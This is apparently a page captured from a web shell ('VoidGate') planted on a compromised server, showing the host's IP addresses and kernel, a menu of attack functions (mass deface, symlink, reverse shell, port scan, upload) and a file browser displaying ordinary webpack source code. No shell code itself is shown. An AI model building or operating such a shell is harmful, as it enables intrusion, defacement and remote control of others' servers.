ヤミRoot VoidGate
User / IP
:
216.73.216.81
Host / Server
:
146.88.233.70 / dev.loger.cm
System
:
Linux hybrid1120.fr.ns.planethoster.net 3.10.0-957.21.2.el7.x86_64 #1 SMP Wed Jun 5 14:26:44 UTC 2019 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
logercm
/
dev.loger.cm
/
node_modules
/
webpack
/
lib
/
prefetch
/
Viewing: ChunkPrefetchFunctionRuntimeModule.js
/* MIT License http://www.opensource.org/licenses/mit-license.php */ "use strict"; const RuntimeModule = require("../RuntimeModule"); const Template = require("../Template"); /** @typedef {import("../Compilation")} Compilation */ /** @typedef {import("../RuntimeTemplate")} RuntimeTemplate */ class ChunkPrefetchFunctionRuntimeModule extends RuntimeModule { /** * @param {string} childType TODO * @param {string} runtimeFunction TODO * @param {string} runtimeHandlers TODO */ constructor(childType, runtimeFunction, runtimeHandlers) { super(`chunk ${childType} function`); this.childType = childType; this.runtimeFunction = runtimeFunction; this.runtimeHandlers = runtimeHandlers; } /** * @returns {string | null} runtime code */ generate() { const { runtimeFunction, runtimeHandlers } = this; const compilation = /** @type {Compilation} */ (this.compilation); const { runtimeTemplate } = compilation; return Template.asString([ `${runtimeHandlers} = {};`, `${runtimeFunction} = ${runtimeTemplate.basicFunction("chunkId", [ // map is shorter than forEach `Object.keys(${runtimeHandlers}).map(${runtimeTemplate.basicFunction( "key", `${runtimeHandlers}[key](chunkId);` )});` ])}` ]); } } module.exports = ChunkPrefetchFunctionRuntimeModule;
Coded With 💗 by
0x6ick